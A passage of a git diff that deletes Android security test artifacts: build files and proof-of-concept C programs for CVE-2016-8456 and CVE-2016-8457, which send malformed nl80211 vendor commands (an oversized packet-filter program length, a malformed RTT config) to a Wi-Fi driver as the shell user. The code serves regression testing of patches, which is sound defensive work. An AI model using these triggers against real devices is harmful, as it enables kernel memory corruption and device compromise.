-#define NLA_DATA(na) ((void *)((char *)(na) + NLA_HDRLEN))
-
-struct kgsl_perfcounter_query_compat {
-  unsigned int groupid;
-  unsigned int countables;
-  unsigned int count;
-  unsigned int max_counters;
-  unsigned int __pad[2];
-};
-struct kgsl_perfcounter_read_group {
-  unsigned int groupid;
-  unsigned int countable;
-  unsigned long long value;
-};
-#define IOCTL_KGSL_PERFCOUNTER_QUERY_COMPAT \
-  _IOWR(KGSL_IOC_TYPE, 0x3A, struct kgsl_perfcounter_query_compat)
-
-struct kgsl_perfcounter_read_compat {
-  unsigned int reads;
-  unsigned int count;
-  unsigned int __pad[2];
-};
-
-#define CAL_IOCTL_MAGIC 'a'
-
-#define AUDIO_GET_CALIBRATION _IOWR(CAL_IOCTL_MAGIC, 204, void *)
-
-#define NL80211_ATTR_MAC 6
-#define ETH_ALEN 6
-
-struct nl_sock *nl_sk;
-#define NL80211_ATTR_IFINDEX 3
-enum wlan_hdd_tm_attr {
-  WLAN_HDD_TM_ATTR_INVALID = 0,
-  WLAN_HDD_TM_ATTR_CMD = 1,
-  WLAN_HDD_TM_ATTR_DATA = 2,
-  WLAN_HDD_TM_ATTR_STREAM_ID = 3,
-  WLAN_HDD_TM_ATTR_TYPE = 4,
-  /* keep last */
-  WLAN_HDD_TM_ATTR_AFTER_LAST,
-  WLAN_HDD_TM_ATTR_MAX = WLAN_HDD_TM_ATTR_AFTER_LAST - 1,
-};
-
-enum wlan_hdd_tm_cmd {
-  WLAN_HDD_TM_CMD_WLAN_FTM = 0,
-  WLAN_HDD_TM_CMD_WLAN_HB = 1,
-};
-
-typedef enum {
-  /* don't use 0 as a valid subcommand */
-  VENDOR_NL80211_SUBCMD_UNSPECIFIED,
-
-  /* define all vendor startup commands between 0x0 and 0x0FFF */
-  VENDOR_NL80211_SUBCMD_RANGE_START = 0x0001,
-  VENDOR_NL80211_SUBCMD_RANGE_END = 0x0FFF,
-
-  /* define all GScan related commands between 0x1000 and 0x10FF */
-  ANDROID_NL80211_SUBCMD_GSCAN_RANGE_START = 0x1000,
-  ANDROID_NL80211_SUBCMD_GSCAN_RANGE_END = 0x10FF,
-
-  /* define all RTT related commands between 0x1100 and 0x11FF */
-  ANDROID_NL80211_SUBCMD_RTT_RANGE_START = 0x1100,
-  ANDROID_NL80211_SUBCMD_RTT_RANGE_END = 0x11FF,
-
-  ANDROID_NL80211_SUBCMD_LSTATS_RANGE_START = 0x1200,
-  ANDROID_NL80211_SUBCMD_LSTATS_RANGE_END = 0x12FF,
-
-  ANDROID_NL80211_SUBCMD_TDLS_RANGE_START = 0x1300,
-  ANDROID_NL80211_SUBCMD_TDLS_RANGE_END = 0x13FF,
-
-  ANDROID_NL80211_SUBCMD_DEBUG_RANGE_START = 0x1400,
-  ANDROID_NL80211_SUBCMD_DEBUG_RANGE_END = 0x14FF,
-
-  /* define all NearbyDiscovery related commands between 0x1500 and 0x15FF */
-  ANDROID_NL80211_SUBCMD_NBD_RANGE_START = 0x1500,
-  ANDROID_NL80211_SUBCMD_NBD_RANGE_END = 0x15FF,
-
-  /* define all wifi calling related commands between 0x1600 and 0x16FF */
-  ANDROID_NL80211_SUBCMD_WIFI_OFFLOAD_RANGE_START = 0x1600,
-  ANDROID_NL80211_SUBCMD_WIFI_OFFLOAD_RANGE_END = 0x16FF,
-
-  /* define all NAN related commands between 0x1700 and 0x17FF */
-  ANDROID_NL80211_SUBCMD_NAN_RANGE_START = 0x1700,
-  ANDROID_NL80211_SUBCMD_NAN_RANGE_END = 0x17FF,
-
-  /* define all packet filter related commands between 0x1800 and 0x18FF */
-  ANDROID_NL80211_SUBCMD_PKT_FILTER_RANGE_START = 0x1800,
-  ANDROID_NL80211_SUBCMD_PKT_FILTER_RANGE_END = 0x18FF,
-
-  /* This is reserved for future usage */
-
-} ANDROID_VENDOR_SUB_COMMAND;
-
-enum wl_vendor_subcmd {
-  BRCM_VENDOR_SCMD_UNSPEC,
-  BRCM_VENDOR_SCMD_PRIV_STR,
-  GSCAN_SUBCMD_GET_CAPABILITIES = ANDROID_NL80211_SUBCMD_GSCAN_RANGE_START,
-  GSCAN_SUBCMD_SET_CONFIG,
-  GSCAN_SUBCMD_SET_SCAN_CONFIG,
-  GSCAN_SUBCMD_ENABLE_GSCAN,
-  GSCAN_SUBCMD_GET_SCAN_RESULTS,
-  GSCAN_SUBCMD_SCAN_RESULTS,
-  GSCAN_SUBCMD_SET_HOTLIST,
-  GSCAN_SUBCMD_SET_SIGNIFICANT_CHANGE_CONFIG,
-  GSCAN_SUBCMD_ENABLE_FULL_SCAN_RESULTS,
-  GSCAN_SUBCMD_GET_CHANNEL_LIST,
-  ANDR_WIFI_SUBCMD_GET_FEATURE_SET,
-  ANDR_WIFI_SUBCMD_GET_FEATURE_SET_MATRIX,
-  ANDR_WIFI_RANDOM_MAC_OUI,
-  ANDR_WIFI_NODFS_CHANNELS,
-  ANDR_WIFI_SET_COUNTRY,
-  GSCAN_SUBCMD_SET_EPNO_SSID,
-  WIFI_SUBCMD_SET_SSID_WHITELIST,
-  WIFI_SUBCMD_SET_LAZY_ROAM_PARAMS,
-  WIFI_SUBCMD_ENABLE_LAZY_ROAM,
-  WIFI_SUBCMD_SET_BSSID_PREF,
-  WIFI_SUBCMD_SET_BSSID_BLACKLIST,
-  GSCAN_SUBCMD_ANQPO_CONFIG,
-  WIFI_SUBCMD_SET_RSSI_MONITOR,
-  WIFI_SUBCMD_CONFIG_ND_OFFLOAD,
-  RTT_SUBCMD_SET_CONFIG = ANDROID_NL80211_SUBCMD_RTT_RANGE_START,
-  RTT_SUBCMD_CANCEL_CONFIG,
-  RTT_SUBCMD_GETCAPABILITY,
-  RTT_SUBCMD_GETAVAILCHANNEL,
-  RTT_SUBCMD_SET_RESPONDER,
-  RTT_SUBCMD_CANCEL_RESPONDER,
-  LSTATS_SUBCMD_GET_INFO = ANDROID_NL80211_SUBCMD_LSTATS_RANGE_START,
-  DEBUG_START_LOGGING = ANDROID_NL80211_SUBCMD_DEBUG_RANGE_START,
-  DEBUG_TRIGGER_MEM_DUMP,
-  DEBUG_GET_MEM_DUMP,
-  DEBUG_GET_VER,
-  DEBUG_GET_RING_STATUS,
-  DEBUG_GET_RING_DATA,
-  DEBUG_GET_FEATURE,
-  DEBUG_RESET_LOGGING,
-  DEBUG_TRIGGER_DRIVER_MEM_DUMP,
-  DEBUG_GET_DRIVER_MEM_DUMP,
-  DEBUG_START_PKT_FATE_MONITORING,
-  DEBUG_GET_TX_PKT_FATES,
-  DEBUG_GET_RX_PKT_FATES,
-  DEBUG_GET_WAKE_REASON_STATS,
-  WIFI_OFFLOAD_SUBCMD_START_MKEEP_ALIVE =
-      ANDROID_NL80211_SUBCMD_WIFI_OFFLOAD_RANGE_START,
-  WIFI_OFFLOAD_SUBCMD_STOP_MKEEP_ALIVE,
-  APF_SUBCMD_GET_CAPABILITIES = ANDROID_NL80211_SUBCMD_PKT_FILTER_RANGE_START,
-  APF_SUBCMD_SET_FILTER,
-  /* Add more sub commands here */
-  VENDOR_SUBCMD_MAX
-};
-
-#define QCA_NL80211_VENDOR_ID 0x001374
-#define QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_PNO_SET_PASSPOINT_LIST 70
-#define QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_LIST_PARAM_NUM 1
-#define QCA_NL80211_VENDOR_SUBCMD_PACKET_FILTER 83
-
-#define BPF_SET_RESET 1
-#define BPF_FILTER_ID 3
-#define BPF_PACKET_SIZE 4
-#define BPF_PROGRAM 6
-#define QCA_WLAN_GET_PACKET_FILTER 2
-
-#define GSCAN_ATTRIBUTE_NUM_BUCKETS 10
-#define GSCAN_ATTRIBUTE_CH_BUCKET_1 0
-#define GSCAN_ATTRIBUTE_BUCKET_NUM_CHANNELS 15
-
-#define RTT_ATTRIBUTE_TARGET_CNT 0
-#define RTT_ATTRIBUTE_TARGET_CHAN 5
-#define RTT_ATTRIBUTE_TARGET_INFO 1
-
-#define GSCAN_ATTRIBUTE_WHITELIST_SSID 80
-#define GSCAN_ATTRIBUTE_NUM_WL_SSID 81
-#define GSCAN_ATTRIBUTE_WHITELIST_SSID_ELEM 84
-typedef int wifi_channel;
-typedef int wifi_channel_width_t;
-typedef struct wifi_channel_info {
-  wifi_channel_width_t width;
-  wifi_channel center_freq;  /* primary 20 MHz channel */
-  wifi_channel center_freq0; /* center freq (MHz) first segment */
-  wifi_channel
-      center_freq1; /* center freq (MHz) second segment valid for 80 + 80 */
-} wifi_channel_info_t;
-
-#define GSCAN_ATTRIBUTE_ANQPO_HS_LIST_SIZE 111
-#define GSCAN_ATTRIBUTE_ANQPO_HS_LIST 110
-#define GSCAN_ATTRIBUTE_ANQPO_HS_ROAM_CONSORTIUM_ID 114
-#define GSCAN_ATTRIBUTE_ANQPO_HS_NAI_REALM 113
-
-#define APF_ATTRIBUTE_PROGRAM_LEN 3
-int send_testmode(u_int16_t nlmsg_type, u_int32_t nlmsg_pid, u_int8_t genl_cmd,
-                  u_int8_t genl_version);
-int test(void);
-
-int send_testmode(u_int16_t nlmsg_type, u_int32_t nlmsg_pid, u_int8_t genl_cmd,
-                  u_int8_t genl_version) {
-  struct nl_msg *msg;
-  int ret = -1;
-  unsigned char dst[ETH_ALEN];
-  struct nlattr *rret;
-  struct nlattr *rret2;
-  struct nlattr *rret3;
-  struct nlattr *rret4;
-  unsigned char buf_test[256];
-
-  int i = 0;
-
-  wifi_channel_info_t c_info;
-
-  unsigned char hb_params[512];
-#define DOT11_MAX_SSID_LEN 32
-  unsigned char SSID11[DOT11_MAX_SSID_LEN];
-  struct nl80211_sta_flag_update flags;
-
-  msg = nlmsg_alloc();
-  int if_index = if_nametoindex("wlan0");
-
-#define OUI_GOOGLE 0x001A11
-
-  genlmsg_put(msg, nlmsg_pid, 0, nlmsg_type, 0, 0, genl_cmd, genl_version);
-
-  nla_put_u32(msg, NL80211_ATTR_IFINDEX, if_index);
-
-  nla_put_u32(msg, NL80211_ATTR_VENDOR_ID, OUI_GOOGLE);
-
-  nla_put_u32(msg, NL80211_ATTR_VENDOR_SUBCMD, APF_SUBCMD_SET_FILTER);
-
-  rret = nla_nest_start(msg, NL80211_ATTR_VENDOR_DATA);
-
-  if (!rret) {
-    return 1;
-  }
-
-  nla_put_u32(msg, APF_ATTRIBUTE_PROGRAM_LEN, 0xffffffff);
-
-  nla_nest_end(msg, rret);
-
-  ret = nl_send_auto_complete(nl_sk, msg);
-
-  return 0;
-}
-
-#define AID_INET 3003    /* can create AF_INET and AF_INET6 sockets */
-#define AID_NET_RAW 3004 /* can create raw INET sockets */
-#define AID_NET_ADMIN 3005
-
-int test() {
-  int fd = 0;
-  int i = 0;
-  int j = 0;
-  int ret = 0;
-  char *mem;
-  int family_id = 0;
-  struct audio_cal_basic *acb;
-  struct sockaddr_nl saddr;
-  int test = 0x1234;
-
-  gid_t gid_groups[] = {AID_INET, AID_NET_ADMIN};
-  setgroups(sizeof(gid_groups) / sizeof(gid_groups[0]), gid_groups);
-
-  setuid(2000);
-
-  nl_sk = nl_socket_alloc();
-  ret = genl_connect(nl_sk);
-  if (ret != 0) {
-    return -1;
-  }
-
-  family_id = genl_ctrl_resolve(nl_sk, "nl80211");
-
-  ret = send_testmode(family_id, getpid(), NL80211_CMD_VENDOR, 1);
-
-  return 0;
-}
-
-int main(int argc, char *argv[]) { return test(); }
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8456/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8456/Android.mk
deleted file mode 100644
index 75688b5..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8456/Android.mk
+++ /dev/null
@@ -1,37 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-8456
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-LOCAL_SHARED_LIBRARIES := libnl
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable -Wno-macro-redefined
-LOCAL_CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LOCAL_LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8456/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8456/poc.c
deleted file mode 100644
index 9367c45..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8456/poc.c
+++ /dev/null
@@ -1,313 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#define _GNU_SOURCE
-#include <dlfcn.h>
-#include <errno.h>
-#include <limits.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <jni.h>
-#include <android/log.h>
-#include <sys/socket.h>
-#include <linux/netlink.h>
-#include <linux/genetlink.h>
-#include <string.h>
-#include <unistd.h>
-#include <fcntl.h>
-#include <errno.h>
-#include <dirent.h>
-#include <sys/stat.h>
-#include <sys/types.h>
-#include <sys/ioctl.h>
-#include <net/if.h>
-#include <sys/types.h>
-#include <netlink/msg.h>
-#include <netlink/genl/genl.h>
-#include <netlink/genl/ctrl.h>
-#include <linux/nl80211.h>
-
-#define MAX_MSG_SIZE 1024
-#define GENLMSG_DATA(glh) ((void *)(NLMSG_DATA(glh) + GENL_HDRLEN))
-#define NLA_DATA(na) ((void *)((char *)(na) + NLA_HDRLEN))
-
-struct kgsl_perfcounter_query_compat {
-  unsigned int groupid;
-  unsigned int countables;
-  unsigned int count;
-  unsigned int max_counters;
-  unsigned int __pad[2];
-};
-struct kgsl_perfcounter_read_group {
-  unsigned int groupid;
-  unsigned int countable;
-  unsigned long long value;
-};
-#define IOCTL_KGSL_PERFCOUNTER_QUERY_COMPAT \
-  _IOWR(KGSL_IOC_TYPE, 0x3A, struct kgsl_perfcounter_query_compat)
-
-struct kgsl_perfcounter_read_compat {
-  unsigned int reads;
-  unsigned int count;
-  unsigned int __pad[2];
-};
-
-#define CAL_IOCTL_MAGIC 'a'
-
-#define AUDIO_GET_CALIBRATION _IOWR(CAL_IOCTL_MAGIC, 204, void *)
-
-#define NL80211_ATTR_MAC 6
-#define ETH_ALEN 6
-
-struct nl_sock *nl_sk;
-#define NL80211_ATTR_IFINDEX 3
-enum wlan_hdd_tm_attr {
-  WLAN_HDD_TM_ATTR_INVALID = 0,
-  WLAN_HDD_TM_ATTR_CMD = 1,
-  WLAN_HDD_TM_ATTR_DATA = 2,
-  WLAN_HDD_TM_ATTR_STREAM_ID = 3,
-  WLAN_HDD_TM_ATTR_TYPE = 4,
-  /* keep last */
-  WLAN_HDD_TM_ATTR_AFTER_LAST,
-  WLAN_HDD_TM_ATTR_MAX = WLAN_HDD_TM_ATTR_AFTER_LAST - 1,
-};
-
-enum wlan_hdd_tm_cmd {
-  WLAN_HDD_TM_CMD_WLAN_FTM = 0,
-  WLAN_HDD_TM_CMD_WLAN_HB = 1,
-};
-
-typedef enum {
-  /* don't use 0 as a valid subcommand */
-  VENDOR_NL80211_SUBCMD_UNSPECIFIED,
-
-  /* define all vendor startup commands between 0x0 and 0x0FFF */
-  VENDOR_NL80211_SUBCMD_RANGE_START = 0x0001,
-  VENDOR_NL80211_SUBCMD_RANGE_END = 0x0FFF,
-
-  /* define all GScan related commands between 0x1000 and 0x10FF */
-  ANDROID_NL80211_SUBCMD_GSCAN_RANGE_START = 0x1000,
-  ANDROID_NL80211_SUBCMD_GSCAN_RANGE_END = 0x10FF,
-
-  /* define all RTT related commands between 0x1100 and 0x11FF */
-  ANDROID_NL80211_SUBCMD_RTT_RANGE_START = 0x1100,
-  ANDROID_NL80211_SUBCMD_RTT_RANGE_END = 0x11FF,
-
-  ANDROID_NL80211_SUBCMD_LSTATS_RANGE_START = 0x1200,
-  ANDROID_NL80211_SUBCMD_LSTATS_RANGE_END = 0x12FF,
-
-  ANDROID_NL80211_SUBCMD_TDLS_RANGE_START = 0x1300,
-  ANDROID_NL80211_SUBCMD_TDLS_RANGE_END = 0x13FF,
-
-  ANDROID_NL80211_SUBCMD_DEBUG_RANGE_START = 0x1400,
-  ANDROID_NL80211_SUBCMD_DEBUG_RANGE_END = 0x14FF,
-
-  /* define all NearbyDiscovery related commands between 0x1500 and 0x15FF */
-  ANDROID_NL80211_SUBCMD_NBD_RANGE_START = 0x1500,
-  ANDROID_NL80211_SUBCMD_NBD_RANGE_END = 0x15FF,
-
-  /* define all wifi calling related commands between 0x1600 and 0x16FF */
-  ANDROID_NL80211_SUBCMD_WIFI_OFFLOAD_RANGE_START = 0x1600,
-  ANDROID_NL80211_SUBCMD_WIFI_OFFLOAD_RANGE_END = 0x16FF,
-
-  /* define all NAN related commands between 0x1700 and 0x17FF */
-  ANDROID_NL80211_SUBCMD_NAN_RANGE_START = 0x1700,
-  ANDROID_NL80211_SUBCMD_NAN_RANGE_END = 0x17FF,
-
-  /* define all packet filter related commands between 0x1800 and 0x18FF */
-  ANDROID_NL80211_SUBCMD_PKT_FILTER_RANGE_START = 0x1800,
-  ANDROID_NL80211_SUBCMD_PKT_FILTER_RANGE_END = 0x18FF,
-
-  /* This is reserved for future usage */
-
-} ANDROID_VENDOR_SUB_COMMAND;
-
-enum wl_vendor_subcmd {
-  BRCM_VENDOR_SCMD_UNSPEC,
-  BRCM_VENDOR_SCMD_PRIV_STR,
-  GSCAN_SUBCMD_GET_CAPABILITIES = ANDROID_NL80211_SUBCMD_GSCAN_RANGE_START,
-  GSCAN_SUBCMD_SET_CONFIG,
-  GSCAN_SUBCMD_SET_SCAN_CONFIG,
-  GSCAN_SUBCMD_ENABLE_GSCAN,
-  GSCAN_SUBCMD_GET_SCAN_RESULTS,
-  GSCAN_SUBCMD_SCAN_RESULTS,
-  GSCAN_SUBCMD_SET_HOTLIST,
-  GSCAN_SUBCMD_SET_SIGNIFICANT_CHANGE_CONFIG,
-  GSCAN_SUBCMD_ENABLE_FULL_SCAN_RESULTS,
-  GSCAN_SUBCMD_GET_CHANNEL_LIST,
-  ANDR_WIFI_SUBCMD_GET_FEATURE_SET,
-  ANDR_WIFI_SUBCMD_GET_FEATURE_SET_MATRIX,
-  ANDR_WIFI_RANDOM_MAC_OUI,
-  ANDR_WIFI_NODFS_CHANNELS,
-  ANDR_WIFI_SET_COUNTRY,
-  GSCAN_SUBCMD_SET_EPNO_SSID,
-  WIFI_SUBCMD_SET_SSID_WHITELIST,
-  WIFI_SUBCMD_SET_LAZY_ROAM_PARAMS,
-  WIFI_SUBCMD_ENABLE_LAZY_ROAM,
-  WIFI_SUBCMD_SET_BSSID_PREF,
-  WIFI_SUBCMD_SET_BSSID_BLACKLIST,
-  GSCAN_SUBCMD_ANQPO_CONFIG,
-  WIFI_SUBCMD_SET_RSSI_MONITOR,
-  WIFI_SUBCMD_CONFIG_ND_OFFLOAD,
-  RTT_SUBCMD_SET_CONFIG = ANDROID_NL80211_SUBCMD_RTT_RANGE_START,
-  RTT_SUBCMD_CANCEL_CONFIG,
-  RTT_SUBCMD_GETCAPABILITY,
-  RTT_SUBCMD_GETAVAILCHANNEL,
-  RTT_SUBCMD_SET_RESPONDER,
-  RTT_SUBCMD_CANCEL_RESPONDER,
-  LSTATS_SUBCMD_GET_INFO = ANDROID_NL80211_SUBCMD_LSTATS_RANGE_START,
-  DEBUG_START_LOGGING = ANDROID_NL80211_SUBCMD_DEBUG_RANGE_START,
-  DEBUG_TRIGGER_MEM_DUMP,
-  DEBUG_GET_MEM_DUMP,
-  DEBUG_GET_VER,
-  DEBUG_GET_RING_STATUS,
-  DEBUG_GET_RING_DATA,
-  DEBUG_GET_FEATURE,
-  DEBUG_RESET_LOGGING,
-  DEBUG_TRIGGER_DRIVER_MEM_DUMP,
-  DEBUG_GET_DRIVER_MEM_DUMP,
-  DEBUG_START_PKT_FATE_MONITORING,
-  DEBUG_GET_TX_PKT_FATES,
-  DEBUG_GET_RX_PKT_FATES,
-  DEBUG_GET_WAKE_REASON_STATS,
-  WIFI_OFFLOAD_SUBCMD_START_MKEEP_ALIVE =
-      ANDROID_NL80211_SUBCMD_WIFI_OFFLOAD_RANGE_START,
-  WIFI_OFFLOAD_SUBCMD_STOP_MKEEP_ALIVE,
-  APF_SUBCMD_GET_CAPABILITIES = ANDROID_NL80211_SUBCMD_PKT_FILTER_RANGE_START,
-  APF_SUBCMD_SET_FILTER,
-  /* Add more sub commands here */
-  VENDOR_SUBCMD_MAX
-};
-
-#define QCA_NL80211_VENDOR_ID 0x001374
-#define QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_PNO_SET_PASSPOINT_LIST 70
-#define QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_LIST_PARAM_NUM 1
-#define QCA_NL80211_VENDOR_SUBCMD_PACKET_FILTER 83
-
-#define BPF_SET_RESET 1
-#define BPF_FILTER_ID 3
-#define BPF_PACKET_SIZE 4
-#define BPF_PROGRAM 6
-#define QCA_WLAN_GET_PACKET_FILTER 2
-
-#define GSCAN_ATTRIBUTE_NUM_BUCKETS 10
-#define GSCAN_ATTRIBUTE_CH_BUCKET_1 0
-#define GSCAN_ATTRIBUTE_BUCKET_NUM_CHANNELS 15
-
-#define RTT_ATTRIBUTE_TARGET_CNT 0
-#define RTT_ATTRIBUTE_TARGET_CHAN 5
-#define RTT_ATTRIBUTE_TARGET_INFO 1
-typedef int wifi_channel;
-typedef int wifi_channel_width_t;
-typedef struct wifi_channel_info {
-  wifi_channel_width_t width;
-  wifi_channel center_freq;  /* primary 20 MHz channel */
-  wifi_channel center_freq0; /* center freq (MHz) first segment */
-  wifi_channel
-      center_freq1; /* center freq (MHz) second segment valid for 80 + 80 */
-} wifi_channel_info_t;
-
-int test(void);
-int send_testmode(u_int16_t nlmsg_type, u_int32_t nlmsg_pid, u_int8_t genl_cmd,
-                  u_int8_t genl_version);
-
-int send_testmode(u_int16_t nlmsg_type, u_int32_t nlmsg_pid, u_int8_t genl_cmd,
-                  u_int8_t genl_version) {
-  struct nl_msg *msg;
-  int ret = -1;
-  unsigned char dst[ETH_ALEN];
-  struct nlattr *rret;
-  struct nlattr *rret2;
-  unsigned char oper_classes[253];
-
-  wifi_channel_info_t c_info;
-
-  unsigned char hb_params[512];
-
-  struct nl80211_sta_flag_update flags;
-
-  msg = nlmsg_alloc();
-  int if_index = if_nametoindex("wlan0");
-
-#define OUI_GOOGLE 0x001A11
-
-  genlmsg_put(msg, nlmsg_pid, 0, nlmsg_type, 0, 0, genl_cmd, genl_version);
-
-  nla_put_u32(msg, NL80211_ATTR_IFINDEX, if_index);
-
-  nla_put_u32(msg, NL80211_ATTR_VENDOR_ID, OUI_GOOGLE);
-
-  nla_put_u32(msg, NL80211_ATTR_VENDOR_SUBCMD, RTT_SUBCMD_SET_CONFIG);
-
-  rret = nla_nest_start(msg, NL80211_ATTR_VENDOR_DATA);
-
-  if (!rret) {
-    return 1;
-  }
-
-  nla_put_u8(msg, RTT_ATTRIBUTE_TARGET_CNT, 0);
-
-  rret2 = nla_nest_start(msg, RTT_ATTRIBUTE_TARGET_INFO);
-
-  if (!rret2) {
-    return 1;
-  }
-
-  nla_put(msg, RTT_ATTRIBUTE_TARGET_CHAN, sizeof(c_info), &c_info);
-
-  nla_nest_end(msg, rret2);
-
-  nla_nest_end(msg, rret);
-
-  ret = nl_send_auto_complete(nl_sk, msg);
-
-  return 0;
-}
-
-#define AID_INET 3003    /* can create AF_INET and AF_INET6 sockets */
-#define AID_NET_RAW 3004 /* can create raw INET sockets */
-#define AID_NET_ADMIN 3005
-
-int test() {
-  int fd = 0;
-  int i = 0;
-  int j = 0;
-  int ret = 0;
-  char *mem;
-  int family_id = 0;
-  struct audio_cal_basic *acb;
-  struct sockaddr_nl saddr;
-  int test = 0x1234;
-
-  gid_t gid_groups[] = {AID_INET, AID_NET_ADMIN};
-  setgroups(sizeof(gid_groups) / sizeof(gid_groups[0]), gid_groups);
-
-  setuid(2000);
-
-  nl_sk = nl_socket_alloc();
-  ret = genl_connect(nl_sk);
-  if (ret != 0) {
-    return -1;
-  }
-
-  family_id = genl_ctrl_resolve(nl_sk, "nl80211");
-
-  ret = send_testmode(family_id, getpid(), NL80211_CMD_VENDOR, 1);
-
-  return 0;
-}
-
-int main(int argc, char *argv[]) { return test(); }
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8457/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8457/Android.mk
deleted file mode 100644
index 3ec6a31..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8457/Android.mk
+++ /dev/null
@@ -1,37 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-8457
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-LOCAL_SHARED_LIBRARIES := libnl
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable -Wno-macro-redefined
-LOCAL_CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LOCAL_LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8457/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8457/poc.c
deleted file mode 100644
index 9a9f02b..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8457/poc.c
+++ /dev/null
@@ -1,335 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#define _GNU_SOURCE
-#include <dlfcn.h>
-#include <errno.h>
-#include <limits.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <jni.h>
-#include <android/log.h>
-#include <sys/socket.h>
-#include <linux/netlink.h>
-#include <linux/genetlink.h>
-#include <string.h>
-#include <unistd.h>
-#include <fcntl.h>
-#include <errno.h>
-#include <dirent.h>
-#include <sys/stat.h>
-#include <sys/types.h>
-#include <sys/ioctl.h>
-#include <net/if.h>
-#include <sys/types.h>
-#include <netlink/msg.h>
-#include <netlink/genl/genl.h>
-#include <netlink/genl/ctrl.h>
-#include <linux/nl80211.h>
-
-#define MAX_MSG_SIZE 2048
-#define GENLMSG_DATA(glh) ((void *)(NLMSG_DATA(glh) + GENL_HDRLEN))
-#define NLA_DATA(na) ((void *)((char *)(na) + NLA_HDRLEN))
-
-struct kgsl_perfcounter_query_compat {
-  unsigned int groupid;
-  unsigned int countables;
-  unsigned int count;
-  unsigned int max_counters;
-  unsigned int __pad[2];
-};
-struct kgsl_perfcounter_read_group {
-  unsigned int groupid;
-  unsigned int countable;
-  unsigned long long value;
-};
